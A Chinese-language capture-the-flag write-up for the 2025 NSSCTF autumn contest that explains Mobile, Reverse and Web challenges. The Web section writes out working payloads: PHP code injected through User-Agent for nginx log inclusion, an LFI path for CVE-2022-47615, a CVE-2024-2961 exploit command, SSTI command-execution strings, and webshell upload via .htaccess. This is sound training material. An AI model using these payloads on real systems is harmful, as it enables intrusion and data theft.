2025年NSSCTF秋季招新赛(校外赛道)WP
字数 2894 2025-11-21 12:06:11
2025年NSSCTF秋季招新赛(校外赛道)WP教学文档
概述
本教学文档基于2025年NSSCTF秋季招新赛(校外赛道)的WriteUp,涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。
MOBILE方向
题目:催眠APP
技术点:Frida Hook、Kotlin协程延迟绕过
解题思路
- 目标:绕过APP中96小时(345600000毫秒)的时间限制。
- 工具:Frida动态插桩框架。
- 关键函数:
kotlinx.coroutines.DelayKt.delay方法。
Frida Hook脚本详解
Java.perform(function () {
console.log("[*] Starting Hypnosis App Delay Bypass Hook...");
var DelayKt = Java.use("kotlinx.coroutines.DelayKt");
DelayKt.delay.implementation = function (timeMillis, continuation) {
var TARGET_DELAY_MILLIS = 345600000;
if (timeMillis.valueOf() === TARGET_DELAY_MILLIS) {
console.warn("[!] Bypassing 96-hour delay...");
return Java.use("kotlin.Unit").INSTANCE; // 立即返回,跳过延迟
}
return this.delay(timeMillis, continuation); // 其他延迟正常执行
};
});
脚本逻辑:
- Hook
DelayKt.delay方法,检测传入的延迟时间。 - 若延迟时间为96小时,直接返回
kotlin.Unit.INSTANCE,使协程立即继续执行。 - 其他短延迟(如动画效果)正常处理。
技术原理
- Kotlin协程的
delay函数通过挂起协程实现延迟。返回Unit.INSTANCE等效于立即完成等待。 - Frida通过替换方法实现(
implementation)动态修改应用行为。
REVERSE方向
题目1:一种很新的签到
技术点:花指令去除、静态分析、异或加密
解题步骤
-
花指令处理:
- IDA中识别
jz/jnz等干扰指令,按U取消定义。 - 将
0xE8等脏指令替换为NOP,修复函数结构后按P生成伪代码。
- IDA中识别
-
加密逻辑分析:
- 主函数校验输入长度(27位)。
- 加密函数
sub_401000逻辑:return ((key[i % 7] ^ input[i]) + 33) ^ 0xD。
-
解密脚本:
#include <stdio.h>
int main() {
uint8_t key[] = "ciallo~";
unsigned char enc[] = {0x43, 0x56, 0x5E, ...}; // 密文
for (int i = 0; i < 27; i++) {
enc[i] = (((enc[i] ^ 0xD) - 33) ^ key[i % 7]);
printf("%c", enc[i]);
}
}
// 输出:NSSCTF{flower_is_beautiful}
题目2:常见加密大杂烩
技术点:TEA/XTEA/RC4/Base64组合加密
加密流程
- 输入32位Flag → 分组成8个32位整数。
- TEA加密(魔改Delta值
0x4E5353):for (int i = 0; i < 32; i++) { sum += delta; v0 += (v1 + sum) ^ (16 * v1 + key[0]) ^ (v1>>5 + key[1]); v1 += (v0 + sum) ^ (16 * v0 + key[2]) ^ (v0>>5 + key[3]); } - XTEA加密(魔改Delta值
0x435446,密钥左移2位):for (int i = 0; i < 32; i++) { v0 += (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum); sum += delta; v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key[(sum >> 11) & 3] + sum); } - RC4加密(标准算法,密钥
"CreamBread")。 - Base64编码。
解密要点
- 逆向时需按相反顺序处理:Base64解码 → RC4解密 → XTEA解密 → TEA解密。
- 动调提取RC4密钥流或直接逆算法。
题目3:UPX脱壳
技术点:UPX魔改壳修复
步骤
- 检测:Die查壳显示UPX,但标准
upx -d失败。 - 修复:用010 Editor修改区段名(如
.upx改为.text),恢复标准UPX结构。 - 脱壳:执行
upx -d后正常分析。
题目4:debuggggg
技术点:随机数种子破解、字符移位加密
关键逻辑
- 初始化:
srand(0xABC)设置固定种子。 - 加密:对输入字符按类别(大小写字母、数字)进行随机移位:
rand_val = rand() % 255; if (小写字母) input[i] = (input[i] - 'a' + rand_val % 26) % 26 + 'a'; if (大写字母) input[i] = (input[i] - 'A' - rand_val % 26 + 26) % 26 + 'A'; - 解密:预生成
rand()序列,反向移位。
脚本示例
srand(0xABC);
int rand_vals[32];
for (int i = 0; i < 32; i++) rand_vals[i] = rand();
// 解密时反向操作:小写字母用减法,大写字母用加法。
题目5:ez_tea
技术点:SMC自修改、反调试绕过、魔改XTEA
反调试处理
- 三处反调试:
RtlGetNtGlobalFlags检测调试标志。NtQueryInformationProcess检测进程调试端口。IsDebuggerPresent直接检测。
- 绕过:动态调试时Patch相关函数或直接NOP掉退出逻辑。
SMC修复
initterm函数初始化时修改代码段,需动态调试还原原始函数。- 关键函数
j_strcpy被Hook,需跟踪恢复真实密钥(示例中密钥被改为"13C67E4E4E137172")。
XTEA魔改点
- Delta值改为
0xD000721。 - 密钥索引计算:
(sum >> 11) & 3和((sum >> 11) ^ 1) & 3。
WEB方向
题目1:SIGN IN!
技术点:Nginx日志文件包含
步骤
- 写入Payload:User-Agent中插入PHP代码:
User-Agent: <?php system("cat /flag"); ?> - 包含日志:访问
/var/log/nginx/access.log执行代码。
题目2:ezez_include
技术点:CVE-2022-47615(LearnPress插件LFI)
利用
- 登录后台(admin/123456)。
- 构造URL:
/wp-admin/admin.php?page=lp-orders&view-order=../../../flag。
题目3:我是签到
技术点:CVE-2024-2961(PHP文件读取至RCE)
漏洞利用
- 环境检测:验证
data://和php://filter包装器可用。 - 堆地址泄露:通过脚本获取system函数地址(例:
0x7fa7d7a00040)。 - 执行命令:写入文件后包含:
python exp.py http://target/index.php "env>1.txt" -H 0x7fa7d7a00040
题目4:我是复读机
技术点:Flask Session伪造、SSTI绕过
步骤
- Session破解:从源码获取密钥,伪造Admin Session。
- SSTI Payload:绕过关键字过滤:
{{g['po''p']['g''lobals']['b''uiltins']['im''port']('os')['po''pen']('cat /f*')['re''ad']()}}- 用单引号分割关键字,中括号替代点号。
题目5:DANGEROUS TRIAL
技术点:无参RCE、代码审计
关卡突破
- 第一关:弱类型比较
intval($raw) === 114514 && $raw !== '114514'→ Payload:cat=114514a。 - 第二关:文件内容校验
file_get_contents($pt) == "rimuru"→ 使用Base64编码绕过:Slime=php://filter/convert.base64-decode/resource=data://text/plain,cmltdXJ1 - 第三关:无参RCE,利用内置函数如
getallheaders()。
题目6:Punishing
技术点:JWT密钥爆破、文件上传绕过
JWT爆破
- 密钥模式:
Selena***(后三位未知)。 - 脚本爆破得到密钥:
Selenahyw。
文件上传
- 上传
.htaccess:AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=3.jpg" - 上传图片马
3.jpg,内容为Base64编码的Shell代码。
题目7:诚实大厅
技术点:SSTI无回显利用、文件操作
Payload构造
- 创建目录:
{{os.popen('mkdir /app/static')|attr('read')()}} - 写入Flag:
{{os.popen('cat /flag > /app/static/flag')|attr('read')()}} - 直接访问
/static/flag下载文件。
题目8:光能族
技术点:RC4签名验证、文件上传绕过
签名算法
- 密钥:
monika creambread。 - 签名计算:
RC4(SECRET_KEY, MD5(文件名)) + MD5(文件内容)。
上传绕过
- 后缀过滤:使用
phtml替代php。 - 计算合法签名后上传Webshell。
总结
本赛题涵盖Mobile动调、Reverse花指令与加密算法、Web漏洞利用等多个层面。关键技能包括:
- 动态分析:Frida/Xposed Hook、动调脱壳、SMC修复。
- 加密算法:TEA/XTEA/RC4的识别与逆向。
- Web漏洞:文件包含、SSTI、JWT伪造、无参RCE等组合利用。
- 脚本开发:自动化爆破、解密算法实现。
通过以上技术点的深入掌握,可有效解决CTF中的复杂题目。